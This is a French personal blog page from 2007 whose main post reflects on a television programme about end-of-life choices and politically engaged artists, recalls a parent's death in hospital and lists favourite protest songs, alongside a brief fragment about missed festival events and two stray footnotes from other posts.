Ben j'ai raté plein de trucs. Durant le festival, j'ai raté les projections de Jneb, les concerts de Vidjé avec Herbaliser, la soirée porno de Berlin aux Beaux Arts, un boulot car j'ai pas répondu à temps, les coordonnées de cette nana à la Chimère. J'ai réussi ... à éteindre la télé. Quoique. Et ce dimanche, je n'irai pas non plus au Carnaval de Dunkerque. Un réveil agréable avec la bande son de The Fountain, grandiose. J'irai probablement voir cet orchestre à Arras.

[1] Le server-id doit prendre une valeur numérique

[2] Un module kernel qui permet d'attaquer le BIOS iLo des serveurs HP

Madame Monsieur Bonsoir

Olivier Duquesne aka DaffyDuke — 2007-02-12T21:23:32Z

Dans le programme télé de ce soir, j'avais vu que l'excellente émission de David Pujadas allait traiter des artistes engagés. Forcément, ça allait me plaire.

J'aurai dû aller sur le site de l'émission avant ! Un autre sujet devait être abordé dans un premier temps Choisir sa mort ?

Pendant ce passage, une médecin a évoqué un passage que j'ai connu. C'est le denier jour, à l'hôpital. Marie-Claire est venue. Ghislaine aussi. Michel, Lucienne, même Jean qui l'ignore depuis tant d'années. Emile aussi a fait le déplacement, il a du mal à marcher mais il est venu, c'est le dernier. Tous partis, je salue Emile là en bas, il est sur l'allée qui le mènera à l'arrêt de bus. Un cri derrière moi, je me retourne, le premier depuis des jours, le dernier. C'était une manière de dire au revoir. Oui, on peut choisir d'arrêter de luter contre la vie.

Forcément, après ces images dans la tête, difficile de suivre le reste. Sont évoqués des artistes comme Ferré, Brassens, Sardou et son engagement contre une certaine forme de peine de mort, et Diam's à ses débuts, il y a 8 ans déjà, alors qu'elle crachait sur le Front National. Abd Al Malik conclue de façon très philosophe, comme son idole qu'il a déjà cité par ailleurs, Socrate : « Etre artiste, c'est déjà un engagement en soit ».

Quelques artistes engagés, qui me touchent :
– Assassin - Etat Policier
– Bérurier Noir - Manifeste
– Billy Ze Kick & Les Gamins en Folie - OCB
– GrimSkunk - Ya basta
– Keny Arkana - La Rage
– Lofofora - Vive le Feu
– MAP - Je Ne Suis Pas Un Numéro
– Noir Désir - Les écorchés (Sloy mix)
– No One Is Innocent - Chile
– Oneyed Jack - Le Cholera
– Silmarils - Cours Vite
– Spicy Box - Tout Le Monde Suce
– Stupeflip - West région's inquisitors
– Têtes Raides - Qu'est-ce qu'on s'fait chier
– Téléphone - Un Autre Monde
– Trust - Antisocial
– et bien d'autres parmi lesquels La Rumeur, IAM, NTM, Serge Gainsbourg, Georges Brassens, Serge Reggiani, Dubmatique, Flor Del Fango, Asian Dub Foundation, Marcels et son Orchestre ....

Mais c'est bientôt la Saint Valentin, quelles roses lui offrir ? Des rouges, des roses, des jaunes, va savoir ... Et je dois bien avouer que les nanas dans le publics sont superbes ce soir.

PS : Si tu veux revoir cette émission, elle est là pour quelques jours encore : http://www.france5.fr/madame-monsie...

Au revoir Maman ...